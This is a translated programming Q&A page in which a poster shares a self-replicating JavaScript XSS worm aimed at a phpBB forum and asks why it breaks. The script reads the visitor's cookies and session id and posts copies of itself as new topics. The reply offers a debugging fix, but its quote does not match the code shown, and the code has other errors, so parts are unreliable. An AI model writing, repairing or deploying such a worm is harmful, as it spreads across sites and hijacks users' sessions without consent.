在javascript中自我传播的蠕虫

时间:2015-10-20 02:24:41

标签: javascript

我试图了解有关互联网安全的更多信息,并且正在编写一个自我传播的蠕虫(用于未经过无限制的输入)。这是我到目前为止的脚本

<script id=worm>
var wormstr="<script>";
wormstr.concat(document.getElemntByID("worm").innerHTML);
wormstr.concat("</scr");
wormstr.concat("ipt>");
var Ajax=null;    
Ajax=new XMLHttpRequest();
Ajax.open("POST", "http://www.xssphpbb.com/posting.php", true);
Ajax.setRequestHeader("Host","www.sxxphpbb.com");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie", document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var sid=document.cookie.match('sid=([^;]*)')[1];

var content="subject=XSS&addbbcode18=%23444444&addbbcode20=0&helpbox=Tip%3A+Styles+can+be+applied+quickly+to+selected+text.&message=";
content=content.concat(wormstr);
content=content.concat("&add_poll_option_text=&poll_length=&mode=newtopic&sid="+sid+"&f=1&post=Submit");
alert(content); //for debugging

Ajax.send(content);
</script>

当我在我的服务器上的评论部分中运行此代码时,它会创建一个新评论,但该评论只是";content=content.concat(wormstr);content=content.concat("

此代码用于创建新注释并将其自身作为脚本插入到该注释中。因此,如果有人访问原始帖子,他们将创建一个新的相同评论。如果有人访问其中一个生成的帖子,它将作为原始帖子,并在其中创建一个新的评论。

1 个答案:

答案 0 :(得分:0)

wormstr.concat("ipt");似乎缺少结束>? ,导致下一行的语法错误

  

当我在我的服务器上的评论部分内运行此代码时   创建一个新的评论但该评论只是   ";content=content.concat(wormstr);content=content.concat("